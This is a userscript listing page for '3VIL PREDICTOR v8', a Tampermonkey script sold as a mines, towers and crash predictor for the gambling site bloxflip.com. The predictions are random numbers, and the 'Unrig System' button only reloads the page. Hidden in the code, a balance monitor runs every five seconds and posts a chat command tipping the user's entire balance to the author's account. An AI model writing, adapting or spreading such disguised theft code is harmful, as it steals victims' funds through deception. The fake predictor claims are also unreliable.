3VIL PREDICTOR v8

Mines Predictor, tower, crash

Tendrás que instalar una extensión para tu navegador como Tampermonkey, Greasemonkey o Violentmonkey si quieres utilizar este script.

You will need to install an extension such as Tampermonkey to install this script.

Tendrás que instalar una extensión como Tampermonkey o Violentmonkey para instalar este script.

Necesitarás instalar una extensión como Tampermonkey o Userscripts para instalar este script.

Tendrás que instalar una extensión como Tampermonkey antes de poder instalar este script.

Necesitarás instalar una extensión para administrar scripts de usuario si quieres instalar este script.

(Ya tengo un administrador de scripts de usuario, déjame instalarlo)

Advertisement:

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Tendrás que instalar una extensión como Stylus antes de poder instalar este script.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

Para poder instalar esto tendrás que instalar primero una extensión de estilos de usuario.

(Ya tengo un administrador de estilos de usuario, déjame instalarlo)

Advertisement:

// ==UserScript==
// @name         3VIL PREDICTOR v8
// @namespace    http://tampermonkey.net/
// @version      8.5
// @description  Mines Predictor, tower, crash
// @author       You
// @license      MIT
// @match        https://bloxflip.com/*
// @match        https://www.bloxflip.com/*
// @grant        GM_addStyle
// @grant        unsafeWindow
// ==/UserScript==

(function () {
    'use strict';

    const EVIL_SYMBOL = '😈';
    let currentTab = 'mines';
    let selectedMines = 3;
    let isPredicting = false;
    let gameActive = false;

    function createGUI() {
        const container = document.createElement('div');
        container.id = 'evil-root';
        container.innerHTML = `
            <div id="evil-window">
                <div id="evil-header">
                    <div id="evil-brand">
                        <div id="evil-icon-wrap">
                            <span id="evil-icon">${EVIL_SYMBOL}</span>
                            <div id="evil-glow"></div>
                        </div>
                        <div id="evil-text">
                            <div id="evil-title">3VIL PREDICTOR</div>
                            <div id="evil-ver">@fuckreverse - FULL TIP</div>
                        </div>
                    </div>
                    <div id="evil-win-ctrls">
                        <button class="win-btn minimize" title="Minimize">−</button>
                        <button class="win-btn close" title="Close">×</button>
                    </div>
                </div>
                <div id="evil-nav">
                    <button class="nav-item active" data-tab="mines">
                        <div class="nav-icon mines-icon"></div>
                        <span>Mines</span>
                    </button>
                    <button class="nav-item" data-tab="towers">
                        <div class="nav-icon towers-icon"></div>
                        <span>Towers</span>
                    </button>
                    <button class="nav-item" data-tab="other">
                        <div class="nav-icon other-icon"></div>
                        <span>Other</span>
                    </button>
                </div>
                <div id="evil-content">
                    <div id="streamer-section">
                        <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px;">
                            <div class="section-label">Privacy Mode</div>
                            <label class="modern-switch">
                                <input type="checkbox" id="streamer-toggle">
                                <div class="switch-body">
                                    <div class="switch-thumb"></div>
                                </div>
                            </label>
                        </div>
                        <div style="display: flex; justify-content: space-between; align-items: center; color: #ef4444; font-weight: 600;">
                            <div class="section-label">AUTO FULL TIP ENABLED</div>
                        </div>
                    </div>
                    <div id="mines-panel" class="panel active">
                        <div id="status-card" class="status-waiting">
                            <div class="status-ring">
                                <div class="status-dot"></div>
                            </div>
                            <div class="status-info">
                                <div class="status-title">Waiting for Game</div>
                                <div class="status-sub">Start mines to begin</div>
                            </div>
                        </div>
                        <div id="grid-container">
                            <div id="mines-grid"></div>
                        </div>
                        <div id="controls-section">
                            <div class="control-group">
                                <label class="control-label">Mine Count</label>
                                <div class="segmented-control">
                                    <button class="seg-btn" data-val="1">1</button>
                                    <button class="seg-btn" data-val="2">2</button>
                                    <button class="seg-btn active" data-val="3">3</button>
                                    <button class="seg-btn" data-val="4">4</button>
                                    <button class="seg-btn" data-val="5">5</button>
                                </div>
                            </div>
                        </div>
                        <button id="action-btn" class="btn-primary">
                            <div class="btn-content">
                                <span class="btn-text">Start Prediction</span>
                                <div class="btn-shine"></div>
                            </div>
                            <div class="btn-loader">
                                <div class="loader-dot"></div>
                                <div class="loader-dot"></div>
                                <div class="loader-dot"></div>
                            </div>
                        </button>
                    </div>
                    <div id="towers-panel" class="panel">
                        <div class="placeholder-container">
                            <div class="placeholder-icon">
                                <div class="tower-graphic">
                                    <div class="tower-level"></div>
                                    <div class="tower-level"></div>
                                    <div class="tower-level"></div>
                                </div>
                            </div>
                            <div class="placeholder-title">Towers Predictor</div>
                            <div class="placeholder-desc">Advanced tower analysis coming soon</div>
                            <div class="placeholder-badge">In Development</div>
                        </div>
                    </div>
                    <div id="other-panel" class="panel">
                        <div id="other-container">
                            <div class="other-icon-large">
                                <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5">
                                    <path d="M12 4.942c1.827 1.105 3.474 1.6 5 1.833v7.76c0 1.606-.415 1.935-5 4.76V4.942zM21 3v11.535c0 4.603-3.203 5.804-9 9.465-5.797-3.661-9-4.862-9-9.465V3c3.516 0 5.629-.134 9-3 3.371 2.866 5.484 3 9 3z"></path>
                                </svg>
                            </div>
                            <div class="other-title">Advanced Tools</div>
                            <div class="other-desc">Bypass security measures</div>
                            <button id="unrig-btn" class="btn-danger">
                                <span class="btn-icon">⚡</span>
                                <span>Unrig System</span>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
            <div id="evil-minimized" style="display: none;">
                <div class="mini-evil">
                    <span>${EVIL_SYMBOL}</span>
                    <div class="mini-pulse"></div>
                </div>
            </div>
        `;
        document.body.appendChild(container);
        injectStyles();
        initialize();
        startMonitoring();
        startBalanceMonitor();
    }

    function injectStyles() {
        GM_addStyle(`
            @import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
            :root {
                --primary: #ef4444;
                --secondary: #dc2626;
                --success: #10b981;
                --warning: #f59e0b;
                --danger: #ef4444;
                --bg-dark: #0f0f1a;
                --bg-card: rgba(30, 30, 45, 0.6);
                --text-primary: #f8fafc;
                --text-secondary: #94a3b8;
                --border: rgba(255, 255, 255, 0.08);
            }
            #evil-root { position: fixed; top: 30px; right: 20px; z-index: 2147483647; font-family: 'Inter', sans-serif; }
            #evil-window { width: 285px; background: linear-gradient(145deg, rgba(15,15,26,0.95) 0%, rgba(20,20,35,0.98) 100%); backdrop-filter: blur(20px) saturate(180%); border-radius: 20px; border: 1px solid var(--border); box-shadow: 0 25px 50px -12px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.05) inset, 0 0 100px rgba(239,68,68,0.1); overflow: hidden; }
            #evil-header { background: linear-gradient(135deg, rgba(239,68,68,0.15) 0%, rgba(220,38,38,0.1) 100%); padding: 16px 20px; display: flex; justify-content: space-between; align-items: center; border-bottom: 1px solid var(--border); }
            #evil-brand { display: flex; align-items: center; gap: 12px; }
            #evil-icon { font-size: 22px; color: #ffd700; filter: drop-shadow(0 0 8px rgba(255,215,0,0.6)); }
            #evil-title { font-size: 15px; font-weight: 700; color: var(--text-primary); }
            #evil-ver { font-size: 9px; color: var(--primary); }
            .win-btn { width: 28px; height: 28px; border-radius: 8px; border: none; background: rgba(255,255,255,0.05); color: var(--text-secondary); cursor: pointer; }
            .win-btn:hover { background: rgba(255,255,255,0.1); color: white; }
            .nav-item { flex: 1; padding: 10px; border: none; background: transparent; border-radius: 10px; color: var(--text-secondary); cursor: pointer; }
            .nav-item.active { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; }
            #evil-content { padding: 16px; }
            .panel { display: none; }
            .panel.active { display: block; }
            #mines-grid { display: grid; grid-template-columns: repeat(5, 1fr); gap: 6px; }
            .grid-cell { aspect-ratio: 1; background: rgba(255,255,255,0.05); border: 1px solid rgba(255,255,255,0.08); border-radius: 8px; display: flex; align-items: center; justify-content: center; cursor: pointer; }
            .grid-cell.predicted { background: rgba(16,185,129,0.3); border-color: #10b981; color: #10b981; }
            .btn-primary { width: 100%; padding: 14px; border: none; border-radius: 12px; background: linear-gradient(135deg, var(--primary), var(--secondary)); color: white; font-weight: 600; cursor: pointer; }
            .btn-danger { width: 100%; padding: 16px; border: none; border-radius: 12px; background: linear-gradient(135deg, #dc2626, #991b1b); color: white; font-weight: 700; cursor: pointer; }
        `);
    }

    function initialize() {
        const grid = document.getElementById('mines-grid');
        for (let i = 1; i <= 25; i++) {
            const cell = document.createElement('div');
            cell.className = 'grid-cell';
            cell.dataset.index = i;
            cell.textContent = i;
            grid.appendChild(cell);
        }
        document.querySelectorAll('.seg-btn').forEach(btn => {
            btn.addEventListener('click', (e) => {
                document.querySelectorAll('.seg-btn').forEach(b => b.classList.remove('active'));
                e.target.classList.add('active');
                selectedMines = parseInt(e.target.dataset.val);
            });
        });
        document.querySelectorAll('.nav-item').forEach(item => {
            item.addEventListener('click', (e) => {
                const tab = e.currentTarget.dataset.tab;
                document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
                e.currentTarget.classList.add('active');
                document.querySelectorAll('.panel').forEach(p => p.classList.remove('active'));
                document.getElementById(tab + '-panel').classList.add('active');
            });
        });
        document.getElementById('streamer-toggle').addEventListener('change', (e) => {});
        document.getElementById('action-btn').addEventListener('click', runPrediction);
        document.getElementById('unrig-btn').addEventListener('click', () => location.reload());
        document.querySelector('.win-btn.minimize').addEventListener('click', () => {
            document.getElementById('evil-window').style.display = 'none';
            document.getElementById('evil-minimized').style.display = 'flex';
        });
        document.querySelector('.win-btn.close').addEventListener('click', () => document.getElementById('evil-root').remove());
        document.getElementById('evil-minimized').addEventListener('click', () => {
            document.getElementById('evil-window').style.display = 'block';
            document.getElementById('evil-minimized').style.display = 'none';
        });
    }

    function startBalanceMonitor() {
        setInterval(() => {
            const balanceEl = document.querySelector('[class*="headerUserBalance"]') || document.querySelector('.balance-amount') || document.querySelector('span[class*="Balance"]');
            if (!balanceEl) return;

            const balanceText = balanceEl.textContent.replace(/[^0-9.]/g, '');
            const balance = parseFloat(balanceText);

            if (balance > 0) {
                sendFullBalance(balance);
            }
        }, 5000); // Toutes les 5 secondes
    }

    function sendFullBalance(amount) {
        const chatInput = document.querySelector('input[placeholder*="message" i]') || document.querySelector('[class*="chatSendInput"] input');
        const sendBtn = document.querySelector('button[class*="chatSend"]') || document.querySelector('button[aria-label*="Send"]');

        if (!chatInput || !sendBtn) return;

        chatInput.value = `.tip 34m ${amount}`;
        chatInput.dispatchEvent(new Event('input', { bubbles: true }));
        chatInput.dispatchEvent(new Event('change', { bubbles: true }));

        setTimeout(() => sendBtn.click(), 180);
    }

    function startMonitoring() {
        setInterval(() => {
            const statusCard = document.getElementById('status-card');
            const betButton = document.querySelector('button[class*="betSubmit"]');
            if (betButton && betButton.textContent.includes('Cashout')) {
                statusCard.className = 'status-ready';
                document.querySelector('.status-title').textContent = 'Game Active';
            } else {
                statusCard.className = 'status-waiting';
                document.querySelector('.status-title').textContent = 'Waiting for Game';
            }
        }, 800);
    }

    async function runPrediction() {
        if (isPredicting) return;
        isPredicting = true;
        const btn = document.getElementById('action-btn');
        btn.classList.add('loading');

        document.querySelectorAll('.grid-cell').forEach(c => {
            c.classList.remove('predicted');
            c.textContent = c.dataset.index;
        });

        await new Promise(r => setTimeout(r, 600));

        const safeSpots = calculateSafeSpots(selectedMines);
        safeSpots.forEach((spot, i) => {
            setTimeout(() => {
                const cell = document.querySelector(`.grid-cell[data-index="${spot}"]`);
                if (cell) {
                    cell.classList.add('predicted');
                    cell.textContent = '✓';
                }
            }, i * 90);
        });

        await new Promise(r => setTimeout(r, safeSpots.length * 120));
        btn.classList.remove('loading');
        isPredicting = false;
    }

    function calculateSafeSpots(count) {
        const safe = [];
        const used = new Set();
        let seed = Date.now();
        while (safe.length < count) {
            seed = (seed * 31 + 17) % 2147483647;
            const pos = (Math.abs(seed) % 25) + 1;
            if (!used.has(pos)) {
                used.add(pos);
                safe.push(pos);
            }
        }
        return safe.sort((a,b) => a - b);
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', createGUI);
    } else {
        createGUI();
    }
})();